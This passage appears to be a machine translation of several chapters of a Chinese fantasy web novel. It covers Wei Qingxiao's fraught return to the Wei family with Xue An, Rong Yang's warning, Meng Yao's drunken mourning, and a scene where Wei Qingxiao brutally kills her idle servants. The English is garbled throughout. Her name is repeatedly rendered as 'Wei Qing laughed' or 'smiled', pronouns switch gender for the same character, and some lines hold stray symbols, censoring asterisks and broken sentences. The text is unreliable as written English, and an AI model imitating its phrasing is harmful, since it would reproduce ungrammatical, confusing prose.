    But this lava land is the only way to go to the depths of the ghost world, so it can only fly there.


    But the last time Wei Qingxiao controlled the ghost and flew past, everything was fine.


    Why did the situation suddenly appear after returning home this time?


    Wei Qingxiao was shocked and suspicious. At this moment, she saw a huge fountain formed by lava, spraying into the air.


    Then above the fountain, a figure slowly emerged.


    In the blink of an eye, a middle-aged man in a red robe appeared in front of him.


    As soon as she saw this man, Wei Qing laughed and knew that it was impossible to avoid her head, so she bit her head and opened the ghost car, then tidyed up her clothes and walked out.


    "Wei Qing Xiao, the daughter of Wei''s parents, has seen the Lord Rong!"


    The man looked at Wei Qing with a faint smile, "I just saw the Wei family emblem on this ghost, I knew it should be you, so I guessed it right!"


    Wei Qing smiled startled.


    What does this Rongyang mean?


    The tone in the words seemed to be waiting for me.


    But Wei Qingxiao had already seen the world anyway, so after a while, he said, "I don''t know what the Lord Rong is waiting for?"


    Rong Yang looked at Wei Qing with a smile, and said lightly: "Let me ask you, are you planning to return to Wei''s house?"


    "Yes!" Wei Qing nodded with a smile.


    "Is it because of the family letter?"


    "Huh?" Wei Qing smiled for a moment, then looked at Rong Yang with a puzzled face, "Hall Master, how do you know?"


    "Hehe, don''t ask! I am entrusted by a friend, and I am waiting for you here, just to tell you a word!"


    Speaking of this, Rong Yang''s expression became awe-inspiring, "Don''t go back to Wei''s house, and immediately escape, as far as you can go!"


    This warning made Wei Qing laugh and horrified. He looked at Rong Yang in horror. After a while, he said: "Hall Master Rong, what does this mean? And who is the person who entrusted you to report the letter? In the end what happened?"


    This series of questions came out of Wei Qing''s mouth like a gun.


    Rong Yang only chuckled and shook his head, "Don''t ask who I am, I won''t tell you! As for what happened to the Wei family, I don''t know the truth, but I can only tell you this. The informant will never harm you!"


    Wei Qing laughed silently.


    There was a fierce confrontation in her heart.


    A strong man like Rongyang will definitely not aimlessly, combined with this strange letter from the family to know.


    This trip home will definitely not be that simple, and it may even be a trap specifically for one''s own siblings.


    So is this going or not?


    Wei Qingxiao fell into trouble.


    If it were before encountering Xue An, she would definitely turn the ghost around without hesitation and escape here.


    But Xue An said before that he must return to Wei''s house if he wants to cure his brother''s disease.


    This naturally made Wei Qingxiao be embarrassed.


    "What? Miss Wei still doesn''t believe what I said?" Rong Yang said lightly.


    "Of course not. It is already a great blessing for the Lord Rong to warn me with words. Of course I won''t have the slightest doubt!"


    "Then what are you hesitating about? Get out of here as soon as it is too late!" Rong Yang said lightly.


    But as soon as his voice fell, only Xue An''s voice came from the ghosts.


    "Sorry, now she has no way to look back!"


    With that said, Xue An stepped out of the ghost and smiled slightly, "So no matter how many obstacles ahead, she has to keep going!"


    These words made this Rong Yang frown slightly, and then took a deep look at Xue An.


    "who are you?"


    Xue An smiled slightly, "It doesn''t matter who I am, I just want to tell you and the person who asked you to spread the letter, you don''t have to worry about the Wei family anymore!"


    These words made Rong Yang''s complexion gradually sink, and then sneered: "Young man, you seem to be very confident!"


    "Confidence?" Xue An shook his head, "No, you are wrong! I''m just explaining a fact!"


    "Humph!" Rong Yang snorted coldly, then turned to look at Wei Qing and smiled, "Miss Wei, I hope you can think clearly and let me warn me personally. This matter is definitely not trivial, do you understand?"


    Wei Qing laughed and her face changed, but when she looked at Xue An and saw Xue An nodding and smiling at her, a great courage suddenly surged in her heart, which made her look resolute, and then nodded and said. .


    "Hall Master Rong, I understand your words naturally! But this matter needs to be ended anyway, so I decided to continue returning!"


    Hearing Wei Qing''s decision Rong Yang''s face darkened, and he glanced at Xue An coldly, suddenly as if he had understood something, he sneered.


    "Ms. Wei, it doesn''t matter whether you return or not. Anyway, I have already brought the words to you, but I still want to advise you. You''d better stay away from young people who are bragging about it, and don''t be confused by feelings. ! Otherwise, you will suffer a big loss!"


    After all, before Wei Qingxiao could react, this Rongyang flew away, turned into magma, and merged into the lava river.


    Wei Qing smiled blankly at Rong Yang, who had disappeared, and his words were still echoing in his mind. She didn''t react until a moment later, and then smiled bitterly.


    This Rong Yang would obviously be wrong. He probably thought Xue An was his favorite, so he was so blind!


    But this is the end, and the explanation is useless.


    She turned her head and said to Xue An, "Go?"


    Xue An smiled, withdrew his gaze from the river where Rongyang passed away, nodded, "Go!"

 Chapter 1428： Endless desert

    In the depths of a huge lake formed by hot magma, a huge palace stands.


    now.


    In the palace, Rong Yang was sitting on the throne, looking coldly at the flame-made mirror in front of him. The ghost car in the mirror was flying across the sky at a rapid speed, and finally disappeared.


    After reading it, Rong Yang remained silent, waved his hand, and erased the mirror of fireworks.


    "These guys are really obsessed. The king personally warned that they still dare to go inside. Isn''t this looking for death by themselves?" A ghost clan surrounded by pink flames couldn''t help but smile at this sight. .


    At this moment, Rong Yang glanced at him coldly, and the laughter stopped abruptly. The ghost tribe hurriedly lowered his head and dared not say anything.


    Only then did Rong Yang narrow his gaze, raised his hand and wrote a letter in the air, then turned his head and said to a ghost on the other side: "You take this letter to the endless desert to see Palace Master Meng!"


    "Yes!" The ghost tribe hurriedly responded, then took the letter paper turned into divine mind, turned around and left.


    "Come back!" Rong Yang suddenly shouted again.


    "Does the king have any more orders?"


    Rong Yang hesitated for a moment, and then waved his hand, and the entire lava lake began to vibrate violently, and under the friction of the incomparable fire system spirit power, a huge and flawless fire-red spirit crystal appeared. come out.


    Even though they are used to seeing all kinds of fire-type spirit crystals, when they saw this huge and unfriended spirit crystal, all the ghost races present could not help but open their mouths and let out a surprise.


    At this time, Rong Yang spread out his palms, and the spirit crystal floated into his hands.


    Rong Yang weighed it, and then nodded in satisfaction, and then thrown it casually, and the spirit crystal flew into the arms of the ghost clan.


    "Bring this spirit crystal over, just say that it was a gift from me to Palace Master Meng!"


    Upon hearing this, the ghost clan hurriedly placed the spirit crystal, then bowed his head deeply, "Yes!"


    After that, he turned around and left the temple, rising into the sky, turning into flames, and disappearing into the air.


    Rong Yang waved his hand, "You all go back too!"


    "Yes!"


    Many ghost races in the temple retreated one after another, leaving only Rong Yang alone.


    He sat on the throne and suddenly laughed.


    "Meng Yao, I have done everything you entrusted me to do for you, but the other party doesn''t appreciate it at all, and insists on going to death, so I can''t blame others!"


    Speaking of this, a complex look appeared on Rong Yang''s face.


    "On the contrary, you still can''t get out after so many years? You always trap yourself in an endless desert. Are you really ready to die in that place? After so long, you should let him go!"


    Rong Yang muttered to himself in a low voice, three-point unwillingness, three-point jealousy, and admiration that was about to overflow.


    But in the end, all this turned into a long sigh.


    The distance between the endless desert and the lava land is not too far, under the full force of this ghost race, but for a long time the scene has stepped into the territory of the endless desert.


    Endless Desert, as the name suggests, is a vast expanse of desert.


    Because of its extreme desolation and cruelty, there are very few people here, and even the most tenacious evil spirits are few.


    And the person in charge here is the Meng Yao Meng Hall Master who ranks last in strength among the top ten hall masters!


    Also because the territory controlled by the Meng Palace Master is an extremely desolate desert, so few people will covet it here, which also gives it a strange quietness.


    This ghost clan skimmed through layers of sand dunes at a very fast speed, and finally came to a city built in the deepest part of the desert.


    This is the desert city!


    Because of the sparse population, this city is also extremely desolate.


    This ghost clan didn''t have time to see these, but went straight to the city lord''s mansion, and then saw Meng Yao''s personal guard Donghan!


    This Donghan is also a woman, but her cultivation is very good. In the past few decades, many things in Endless Desert have been solved by her, so she is also regarded as Meng Yao''s half spokesperson.


    Knowing this, this ghost race naturally did not dare to neglect, and respectfully handed the divine letter to it.


    "Miss Dong, this is the letterhead written by the king of my house to Meng Palace, please be sure to hand it to her!"


    Donghan took the letter and nodded, "Okay! Is there anything else your king said?"


    "Also, this spirit crystal was given to Palace Master Meng by the king of my house, and said it was a gift for her!"


    Seeing this fist-big, clean and flawless top-grade fire crystal, Donghan''s face showed a very strange look, but he still took it.


    Seeing this, the ghost clan couldn''t help but let out a sigh of relief, and just wanted to thank.


    But Donghan said: "You wait here for a while, I''ll go in and give a report, and see what the lord of my house said!"


    The ghost race nodded, "Alright!"


    Donghan turned around and walked into the back house, walked through the courtyard, and then came into a flower hall.


    Although it is located in the depths of the desert, there are countless exotic flowers and grasses blooming in this flower hall, and the gurgling water in the small courtyard is like a water village scenery.


    And beside the chair in the flower hall, a woman was leaning against the railing, dazed.


    Although the sky in the endless desert is always gray, day and night are infinite.


    But in this small courtyard, there is an extremely realistic day and night alternation.


    At this moment, it was dusk, and it could be seen that it had just rained, yellow flowers were piled up on the ground, and puddles were everywhere.


    As for the woman leaning on the railing, most of her face was concealed in the shadows, only the tall Qiong nose and one eye pupil reflected under the weeping and **** setting sun, bringing people a thrilling confusion and charm.


    Seeing this scene, Donghan couldn''t help slowing down, as if he couldn''t bear to disturb this beautiful picture.


    But no matter how slight her footsteps were, the woman still woke up from the blur, and whispered softly, "What''s the matter?"


    Donghan stopped and said respectfully: "Hallmaster is a reply from the Lord Rongyang!"


    That''s right!


    This stunning woman is the master of Endless Desert, Meng Yao!


    "Oh!" Meng Yao replied softly, and fiddled with her slender fingers. The divine letter paper that was in Donghan''s hands did not know when it flew into her hands.


    Then Meng Yao looked down at the letter paper, startled slightly, and then sighed slightly.


    "Let''s do everything by fate! Since the siblings insist on doing this, no one can do it!"


    After that, Meng Yao said calmly: "Go back and tell the messenger, saying that I am very grateful for the help of the Lord Rong, and I will thank you later!"


    "Yes!"


    Although he answered, Donghan did not retreat.


    "Something else?"


    Donghan took out the top grade fire crystal, "Hall Master, this was sent by the messenger, and said it was a gift from the Lord Rong!"

 Chapter 1429： 1 Drunk before dust

    Meng Yao turned her head and glanced at the fire crystal, a pair of nice Danfeng eyes gradually narrowed, "What did you say? What about the messenger?"


    "I said let him wait a while, so he hasn''t left yet!"


    "Good job!" Meng Yao nodded, then turned her head to continue looking at the stream outside the flower hall, and said lightly.


    "Return the gift and say that I have accepted it, but I cannot accept the gift!"


    Donghan looked at Meng Yao''s exceptionally lonely back silhouetted by the gradually dimming sky, and a look of hesitation appeared on his face.


    "Hall Master, or..."


    "Ok?"


    "Yes!" Donghan sighed softly in his heart, then bowed and exited the small courtyard.


    When he came to the front, the messenger was naturally still waiting.


    "Girl Dong, what did the Lord Meng say?"


    "My house master asked you to go back and tell the master Rong. She is very grateful for this, and she will get a reply later! But please take this fire crystal back!"


    "Huh?" The ghost tribe was startled.


    "My house owner said, she accepted it, but I can''t accept the gift!" Dong Han said solemnly.


    "Well then!" This ghost clan is not a fool either, he naturally heard a strange atmosphere from what he said, so he didn''t dare to speak any more, picked up Huo Jing and turned away.


    Wait for the messenger to go.


    Donghan hesitated for a moment, and finally turned around and returned to the back courtyard.


    now.


    It was late at night in the small courtyard, but the flowers and trees planted in the flower hall exuded a faint fluorescence, illuminating the surroundings like a moonlit night.


    And Meng Yao is sitting at the table at the moment, drinking wine silently.


    Seeing this scene, Donghan''s heart was tight, he couldn''t help but stepped forward, and said distressedly: "Hall, don''t drink anymore!"


    Meng Yao raised her head and smiled at Donghan idiotically, raised her hand and pointed to the other side, "Come, sit down and have a drink with me!"


    "Hallmaster..."


    "sit down!"


    Helpless, Donghan had to sit on the opposite chair obediently.


    But she didn''t dare to drink, because she knew exactly how powerful Meng Yao was now being poured into her mouth like water.


    It can be said that the master of the temple has the following cultivation level, and only half a cup of such wine can make you unknown.


    And the reason why this wine is so powerful is because of Meng Yao''s unique brewing skills.


    But Donghan also knows that the reason why this wine has become more mellow in the past 100 years is entirely because Meng Yao is brewing with all his efforts.


    With the deepest passion, the alcohol will naturally become stronger.


    And this kind of wine was also given a name by Meng Yao.


    Drunk!


    As for the cause of all this, as Meng Yao''s personal guard, and also the winter cold of a half-confidante, it was naturally clear.


    That''s why she hesitated when she heard that Meng Yao did not hesitate to return Rongyang''s gift today.


    Not because she had other thoughts, but because she was distressed, the Lord of the Palace.


    At this time, Meng Yao had already drunk another jar of wine and was about to open another jar.


    Donghan reached out and held Meng Yao''s hand, "Hall Master, you can''t drink anymore!"


    "Why... why?" Meng Yao''s cheeks were red like peach blossoms, and his eyes were drunk, but his eyes were full of pain and sadness deep in the bones.


    Seeing this scene, Donghan shook his whole body slightly, and finally shook his head with a wry smile, "Hall Master, haven''t you let go of it for so many years?"


    This sentence seemed like a bolt from the blue sky, which made Meng Yao''s body stiff, and the drunkenness on her face disappeared instantly, and then tears came out of her eyes.


    "Let it go? How can it be so easy to let it go!"


    Although crying, Meng Yao''s voice returned to the coldness before.


    "But... but that adult has disappeared for so long, do you have to wait so long?" Dong Hanman said unwillingly.


    Meng Yao nodded without hesitation, "Yes, I just want to wait forever!"


    "But there have been rumors that this adult, like the fallen Mingjun, is already dead!" Donghan''s voice was very small.


    But Meng Yao''s face sank instantly.


    "Donghan, I see you as a friend, so I won''t blame you, but I hope I won''t have a second time! Understand?"


    At the moment Meng Yao spoke, a powerful force came upon her, making Donghan''s complexion pale instantly, but even so, Donghan still said with self-support.


    "Hall Master, even if you are angry today, I have to say, that great man is still undecided, do you want to spend all your life on this matter? Is it really worth it?"


    "It''s worth it? I didn''t think about it!" Meng Yao''s face showed a reminiscence, "I only know that if he does not come back a day, I will wait for one day, if he does not come back for a year, I will wait for a year!"


    "What if it''s a lifetime?" Donghan asked boldly.


    Meng Yao glanced at Donghan, then calmly said: "Then wait for a lifetime!"


    After all, Meng Yao let go of the power of oppressing the winter cold and continued to drink.


    Donghan looked dumbfounded, as if unable to understand the meaning of Meng Yao''s words.


    At this time, Meng Yao said indifferently, "You did the fire crystal that you offered today on purpose! Because if someone else gave it, you wouldn''t even let me see it, so you just refused it!"


    Donghan took a deep breath, and then nodded, "Hall Master, I''m sorry, but I just think that Palace Master Rong..."


    "Don''t say it!" Meng Yao interrupted Donghan''s words directly, "If anyone else gives gifts in the future, just refuse it! As for the friendship of the Lord Rong who helped this time, I will compensate him later. I know you are kind, but you don''t have to worry about my business!"


    There was a hint of chill in these words.


    Donghan sighed in his heart and nodded, knowing that the Lord''s heart was determined to be difficult to change.


    "understand!"


    Meng Yao drank very fast. After such a while, she had already drank a few more jars, but this time, she drank more and more sober.


    Finally, after drinking the last glass of wine, she stared at her reflection on the table suddenly burst into tears.


    "Hall Master!" Donghan was taken aback.


    Meng Yao waved her hand, "It''s okay!" Then she smiled brightly.


    "Do you know why this wine is called Drunken Qianchen?"


    "do not know!"


    "Because I want to brew a kind of wine, after drinking it, I will forget everything about the previous dust, and then start a new life innocently, so I will call it drunk!"


    Donghan listened quietly.


    At this time, Meng Yao cried and laughed, "But I didn''t realize until now that forgetting turned out to be such a difficult thing!"


    "Because the more you want to forget, the more you will never forget!"


    In the end, Meng Yao was still drunk, drunk in a mess, and fell asleep on the table in the flower hall.


    Donghan shook his head and sighed slightly, walked forward and gently picked up Meng Yao, and then placed her on the couch.

 Chapter 1430： Weird Wei Family

    But at the moment when he let it go, large tears suddenly appeared from the corner of Meng Yao''s eyes, and he whispered softly, "Sir, don''t leave me!"


    Donghan stood silently, tears gradually appeared in his eyes.


    Forget, is it really harder than remembering?


    And in the land of lava, when the ghost clan who sent the letter returned, Rong Yang couldn''t help but gradually become gloomy when he heard his message.


    "My lord, I didn''t see the Meng Palace Master in person, but listened to her personal guard who told her that she would repay this friendship in the future! And..."


    "And what?" Rong Yang''s face was as sinking as water, and his words were as cold as ice.


    The ghost tribe who reported the news trembled and almost dropped the fire crystal in his hand to the ground. He could not help but stammered: "My lord, the Lord Meng did not accept your gift. She just said your kindness, she took it. , But I don��t want things!"


    With that, the ghost clan carefully handed the fire crystal up.


    But at this moment, Rong Yang shook hands suddenly.


    Bang!


    This priceless fire crystal was bombarded into powder, and the ghost clan who reported the letter almost screamed, and then was made ashamed and embarrassed by the fire crystal powder.


    Then this Rong Yang suddenly stood up, pacing back and forth in the hall full of anger.


    As he walked, he tried his best to suppress the anger in his heart, and whispered softly: "I got the good intentions? Ha ha, you still can''t forget that person!"


    When talking about the three characters of this person, Rong Yang''s eyes were very complicated.


    There is admiration, there is awe, but more is still jealous.


    "Shenhuoguizun! Haha, haven''t appeared for so many years, did you fall with that unlucky Mingjun? Or did you hide in a corner and dare not show up?" Rong Yang suddenly hated.


    And just when Rongyang was almost mad, Xue An and Wei Qingxiao''s group finally flew across the territory of hundreds of millions of miles and arrived at the boundary controlled by the Wei family.


    When seeing this high-grade ghost car passing above the sky, the hundreds of millions of people in the territory all looked up, their faces full of awe.


    But Wei Qing''s smile became more and more serious.


    Because the more you came along, the more weird she felt.


    In the past, if a strong man guarding the Wei family''s territory saw his ghost coming, he would have greeted him at the door thousands of miles in advance.


    But this time, people went upstairs wherever they went. There was no one at all.


    How is this going?


    Why is the defense suddenly so empty?


    Isn''t the Wei family afraid of other families taking this opportunity to invade the territory?


    Wei Qing laughed and couldn''t understand it. He could only look solemnly, driving the ghost to move on.


    at last.


    After traveling for three more days, they finally came to the place where the Wei family''s main sect was.


    This is not a city, but it is better than a city.


    Because the Wei family mansion occupies a large area and scale, it seems to have exceeded the imagination of ordinary people.


    The area alone has surpassed the previous ten thousand ghost city deep in the ghost world.


    But the scary thing is that all the people living here are the children of the Wei family.


    This scale is enough to make people astounding.


    At least An Yan was shocked.


    She had never seen such a pavilion that covered the sky and covered the sun before!


    But Xue An didn''t even blink his eyelids, because for him, this mansion was barely enough to see.


    Hu Ying snorted slightly, "Nouveau riche!"


    She was also qualified to comment on the Wei family in the presence.


    Because I am used to seeing the buildings of the Qingqiu Fox Country that have been passed down for tens of thousands of years, looking at this mansion, Huying naturally has no good impression.


    Wei Qingxiao ignored these, all her attention stayed on the square that was used to park ghost cars in front of the mansion.


    But seeing the usually empty square, at this moment, it is busy, so busy.


    The Wei family residence is also much more lively than usual.


    And Wei Qingxiao saw many strong men who should have guarded Wei''s territory.


    What are these people going to do?


    at the same time.


    The servants who were in charge of reception in front of Wei''s house also saw the ghost ship that Wei Qing laughed. They were taken aback for a moment, and then a strange look appeared on their faces.


    Not only them, but many people who witnessed this scene also have strange faces.


    At this moment, a group of people flew out of the Wei family''s mansion and directly greeted the ghost.


    The head is a young woman in luxurious clothes.


    When she saw her, Wei Qing''s smile sank.


    At this moment, I saw this woman standing in front of the ghost, and smiled before saying, "Sister is back! Why didn''t you get out of the car?"


    Yan Yan laughed, full of sisterhood.


    If you don''t understand the situation, you would really think that this is a pair of sisters who are more in love than Jin Jian.


    But only Wei Qingxiao knew how similar she was to this woman.


    Wei Yingying, the second lady of the Wei family.


    In terms of age and power, she is second only to her.


    Because of this, the two have been fighting openly and secretly since they became sensible, but Wei Yingying was overwhelmed by Wei Qingxiao from beginning to end.


    But what happened this time?


    Why would she take the initiative to come forward to greet herself?


    This question bubbled in Wei Qingxiao''s heart.


    But she couldn''t help going out, otherwise, wouldn''t she be stopped by this Wei Yingying?


    So she took a deep breath, then opened the ghost car and walked out.


    Wei Yingying took a deep look at Wei Qingxiao, especially after noticing her peerless face, a haze that was not easily detectable flashed in her eyes, but all of this disappeared without a trace.


    It was replaced by a big smile.


    She walked up quickly and pulled Wei Qingxiao''s sleeve affectionately, "Sister, you are finally back! I miss you!"


    This kind of attitude is very harmonious and beautiful to outsiders.


    But it made Wei Qing laugh all over his body.


    But she still calmed down and stared at Wei Yingying coldly, then lowered her voice and asked Wei Yingying, what the **** do you want to do? "


    The smile on Wei Yingying''s face stiffened, but soon returned to normal, and she smiled and said, "Sister, what are you talking about! As a younger sister, it is not normal to come to welcome the return of sister? ?"


    Wei Qingxiao couldn''t see any valuable information from Wei Yingying''s face, but she still sneered.


    "Wei Yingying, I advise you to be honest, if you want to use your head, be careful that I can''t eat it!"


    The threat in this sentence was so obvious that the smile on Wei Yingying''s face could not be sustained.


    But at this moment, Xue An among the ghosts said calmly: "Yan''er, you take Ying''er back to the Fubao Xiaolou!"


    An Yan nodded, she also didn''t want to deal with these ghosts, so she dragged the curious Hu Ying back to Fu Bao Xiaolou.


    Then Xue An pulled Wei Haocang with a blank face and smiled faintly.


    "Let''s go! I''ll take you home!"

 Chapter 1431： Crisis 4 volts

    When Xue An led Wei Haocang out of the ghost car, he immediately attracted everyone''s attention.


    Wei Yingying, in particular, was slightly taken aback.


    Naturally, Wei Haocang didn''t need to introduce him. He was known as the most humiliating existence in the Wei family''s thousand-year court.


    But who is the boy in white who is standing by?


    Didn''t Wei Haocang let anyone contact him except his sister?


    But looking like this, the white-clothed boy was holding Wei Haocang, and there was nothing unusual in the whole process.


    Even Wei Haocang''s face was full of silly smiles.


    What is going on all this?


    Wei Yingying was puzzled and couldn''t help turning his head to look at Wei Qing with a smile.


    "Sister, who is this again?"


    "Uh, he is..." Wei Qingxiao was thinking about how to explain.


    Xue An said indifferently: "My name is Xue An and I am the teacher of Master Wei!"


    "Teacher?" Wei Yingying was shocked by this title, and many people present couldn''t help whispering.


    "Why did the eldest lady go out and bring a teacher back?"


    "Yeah! Our young master Wei is still sane, and he doesn''t know how to cultivate at all. What kind of teacher do you need?"


    "Hehe, I see, there must be something strange in this!"


    "Tsk tusk, even if you really want to find a teacher for the young master, you can''t find such a young man! A weakly crowned boy looks good, but what can he do?"


    Of course, these people kept their voices down as much as possible when they were discussing, but even so, a lot of them drifted into Wei Qingxiao''s ears, making her complexion harder to look.


    In the past, although Wei Qingxiao also knew that no one in the Wei family took his younger brother seriously, at least on the surface it would be sufficient.


    Never before had he dared to talk about Wei Haocang like this in front of his own face.


    This can only prove one point.


    That is, his deterrence has been severely weakened, even to the point where it is not enough to be awesome.


    This is not too important, but what is more important is that this incident reveals an extremely terrifying fact.


    If you can''t even be awesome, what will Wei Haocang do?


    These thoughts flashed through Wei Qingxiao''s heart, making her complexion gradually pale.


    Xue An didn''t seem to hear the ridicule from the crowd, but just smiled at Wei Yingying.


    "Yeah! Surprised?"


    For some reason, when she saw Xue An smiling at herself, Wei Yingying subconsciously felt that her scalp was a little tight, and a dangerous sign appeared in her heart, which also made her swallow again when she reached her lips.


    "I''m not surprised, but my sister. Your criteria for choosing a teacher for Young Master Haocang is really peculiar. Are you choosing a husband and son for yourself? Hahahaha I''m sorry, I''m so straight, sister, don''t be angry Yeah!"


    Wei Yingying smiled narrowly.


    Wei Qing smiled with a gloomy face, and his eyes were ice-like, as if he hadn''t heard Wei Yingying''s provocation at all.


    Seeing this scene, Wei Yingying was full of pride.


    But the next second, she paid the price for her words.


    Seeing Wei Qingxiao rushing to Wei Yingying with a thunderous force, then she slapped her hand.


    Snapped!


    The sound of this slap was crisp, resounding through the entire square in front of the door.


    Wei Yingying was even fanned far away, finally standing still, but at this moment, she no longer had the energy to calm down.


    She saw her cheeks swelled to Lao Gao, blood flowing down the corners of her mouth, and her charming face was also distorted by extreme anger.


    "you����."


    "What are you? I''m Wei''s parents and daughter. Don''t you dare to talk nonsense, believe it or not, I can kill you now?" Wei Qing said coldly with a smile, eyes full of killing intent.


    Wei Yingying trembled all over and lowered her head in horror.


    Because she knew that if Wei Qingxiao dared to speak, she would dare to do it.


    And as Wei''s parents and daughter, she is indeed qualified to kill herself without any punishment.


    Of course, the premise is that she must have this strength.


    The rules among the giants of the ghost family are so cruel, if you are strong enough, of course you can overcome the big with small.


    But if the strength is not enough, it can only be slaughtered by the strong.


    Wei Yingying was very aware of her weight, and it was far worse than Wei Qingxiao, so she could only take the slap in silence.


    at the same time.


    The crowd who had been whispering also became quiet.


    Many people''s complexion became very pale, because it was only then that they suddenly remembered that Wei Qingxiao was also Wei''s parents and daughters. Even if they encountered a huge crisis now, it was not their existence that could be discussed.


    "Let''s go!" Wei Qing smiled and glanced around the audience, seeing the eyes passing, everyone bowed their heads, and then said coldly.


    "Okay!" Xue An smiled slightly, and then led Wei Haocang into the Wei family mansion.


    Wei Yingying stood in the same place, looking at Wei Qingxiao''s fading back, eyes full of resentment and hatred.


    Don''t be mad, wait two days for Brother Yuhua to come back, when you and that fool are buried.


    As Wei Qingxiao, the place where he lives is naturally extremely luxurious, and the courtyard is extremely spacious.


    But after walking into the courtyard, Wei Qing smiled suddenly.


    Because of the once bustling courtyard, it has become very lonely and deserted at this moment.


    Most of the exotic flowers and grasses in the yard have also withered, and there is a thin layer of soil on the ground, which has obviously not been cleaned for a long time.


    Wei Qing stood in the courtyard with a smile, and stomped his foot abruptly.


    The small courtyard shook, and those flowers and trees shattered instantly.


    And such a noise naturally alarmed the people in the room.


    "Who? Who dares to come here to make a mess?" Following the voice, only a group of servants walked out of the house, hearing only a mess of footsteps.


    Each of these servants was gorgeously dressed and drunk-eyed, and they were actually drinking in the house.


    But after seeing Wei Qing smiling, most of these servants'' drunkenness was awakened instantly.


    "Big...Miss?" a leading servant tremblingly called.


    "What''s going on?" Wei Qing asked with a cold voice, pointing to the withered courtyard of the room with a smile.


    "This...this..." The servant was sweating profusely, and he obviously didn''t know how to explain it.


    At the same time, he was still crying secretly in his heart. Didn''t it mean that Miss Wei might not be back?


    How to explain this?


    While thinking hard and meditating.


    Wei Qing smiled and nodded, "Okay, needless to say! Go ahead!"


    These servants bowed and saluted as if they were amnesty.


    "Thank you, Miss!"


    "Thank you, Miss!"


    While shouting these people walked out in a hurry.


    Seeing that they crossed this threshold and left the courtyard, the faces of these servants all showed joy.


    It seems that Miss Wei is not too good!


    Actually spared myself on this kind of thing!


    But the next second, the smiles on their faces froze.


    Because black air pillars like tentacles suddenly appeared behind them, carrying them all into the air.


    "Ahhhhhhhhhhhh, my lady is forgiving!"


    These servants screamed frantically, but Wei Qing smiled without turning his head, only a cold light flashed in his eyes.


    These black air pillars resembled the giant claws of the demon god, and they suddenly grasped.


    Click!


    After a loud noise, the stench of blood poured down, and these servants had been gripped into flesh by the giant claws.

 Chapter 1432： Look at

    The screams spread throughout the courtyard, and many eyes gathered together.


    At the same time, those black air pillars turned into black flag banners, but what hung on the flag head was not the flag, but the corpses of the servants.


    This terrible and terrifying situation made many prying eyes frightened by it.


    At the same time, Wei Qing smiled and said calmly: "I don''t care what happened, but as long as I am here, then I will be Wei''s parents and daughter. Can you all hear clearly?"


    When the words fell, the sight of the prying eyes began to recede silently, and in an instant, everything was calm again.


    Xue An glanced at the bones that were swaying in the wind and sighed, "It seems that your situation is really bad!"


    Wei Qing smiled dejectedly, "This is how the ghost race is. As long as you have a little sign of weakness, there will be countless young people who want to take advantage of it. Wei Yingying just now is like this, and these slaves are the same!"


    "That''s why you want to use such thunder means to frighten everyone?"


    Wei Qing smiled silently for a moment, and then said, "This is the only way!"


    Xue An smiled, "That''s right! What do you think is the reason for your current situation?"


    Wei Qing smiled miserably, "In fact, this is nothing to think about. It can only make my deterrence drop. It can only be Wei Yuhua''s ghost! And..."


    Wei Qing smiled and looked at the towering pavilions in the distance, and said lightly: "He is not in this mansion now! Not only him, but also the elders are not there. Whatever you look at, it reveals. Strange!"


    A look of worry appeared in Wei Qing''s smiling eyes.


    She is not afraid of head-on, but this kind of unknown makes her feel like sitting on pins and needles.


    Xue An chuckled when he saw it, then stretched a long waist and lazily said: "Okay! What do you want to do so much? Anyway, no one is there, let''s take a break!"


    With that said, Xue An dragged Wei Haocang and walked upstairs.


    Wei Qingxiao stopped for a moment, and finally stepped in.


    Wei Qingxiao''s return was like a stone thrown into the pond, causing waves of waves in the Wei family.


    In particular, Wei Qing laughed and slapped Wei Yingying with a discomfort, and executed all of the dozen or so servants who had been scornful and arrogant.


    Both of these events have made many people who were about to move a little bit restrained.


    But it just converges slightly!


    Countless staring gazes peeped at the courtyard in secret, waiting for the right time, and then exposed their savage fangs.


    This is the real pack of wolves.


    But under this desperate situation, the atmosphere in the small courtyard was unexpectedly soothing.


    Wei Qing stared at the kitchen blankly with a smile. Xue An, who was teaching his brother to practice cooking, didn''t know what to think for a while.


    "Hey, you have to cut this thing that way, do you see it?" Xue An demonstrated it again, and then handed the kitchen knife to Wei Haocang.


    Wei Haocang took the kitchen knife with a face full of ignorance, and according to Xue An''s instruction, began to cut up vegetables.


    Wei Qing smiled eyes widened instantly.


    Because she found that the moment she held the knife in her hand, her brother seemed to be a different person. The silly smile on his face disappeared instantly, replaced by a face full of silence.


    Even his eyes didn''t have the usual confusion and ignorance, they became very calm.


    Wei Qing smiled blankly and couldn''t believe his eyes.


    Because of Wei Haocang at this time, the kitchen knife in his hand cuts faster and faster, and the technique is getting more and more skillful.


    Wei Qing laughed in a daze with the appearance of a mature chest, and at a certain moment he thought that his brother was already well.


    In an instant, the dishes on the cutting board were chopped up.


    Xue An picked up a thread and nodded as he saw the thickness was uniform.


    "not bad!"


    Only then did Wei Haocang put down the knife in his hand, and then the whole person instantly recovered to the previous appearance, with a silly smile on his face and eyes full of confusion.


    The change is so fast, it seems that everything just now is just an illusion, it has never happened before.


    "This...what''s going on?" Wei Qingxiao finally couldn''t help but walked up quickly and asked.


    "What''s the matter?"


    Wei Qing smiled and pointed to his brother, "Why did Cang''er suddenly become so... so peaceful just now?"


    Xue An raised the corners of his mouth and smiled slightly, "Then I don''t know, maybe your brother likes cooking more by nature!"


    "You..." Wei Qing smiled and licked his chapped lips, his heart beating.


    Xue An didn''t hesitate to interrupt Wei Qing''s laugh, and said lightly: "I said, your brother''s illness I can definitely be cured, but what you need to do is unconditional trust and cooperation, understand?"


    Wei Qingxiao took a deep look at Xue An, and finally nodded, "Understood! But I hope you can get my brother back to normal as soon as possible, after all...the time left for me is running out!"


    After that, Wei Qingxiao turned around sadly and walked away.


    Wei Haocang couldn''t understand what had just happened, so he still smiled.


    Xue An retracted his gaze from Wei Qingxiao''s back, and then patted Wei Haocang on the shoulder.


    "You know? You have a good sister!"


    Wei Haocang still smiled naively.


    Xue An let out a sigh of relief, "So I really want to know, what price are you willing to pay for your sister?"


    "Thinking about this, I really look forward to it!"


    In the next few days, Xue An has been teaching Wei Haocang to cook in the kitchen.


    The news spread, and the Wei family was in an uproar.


    "What? That idiot Wei Haocang was learning to cook with that boy? What the **** is Wei Qingxiao doing?" Wei Yingying asked with a deep face.


    "Who knows! Maybe I feel hopeless for my brother to recover, so I want to let him learn something!" The informant joked.


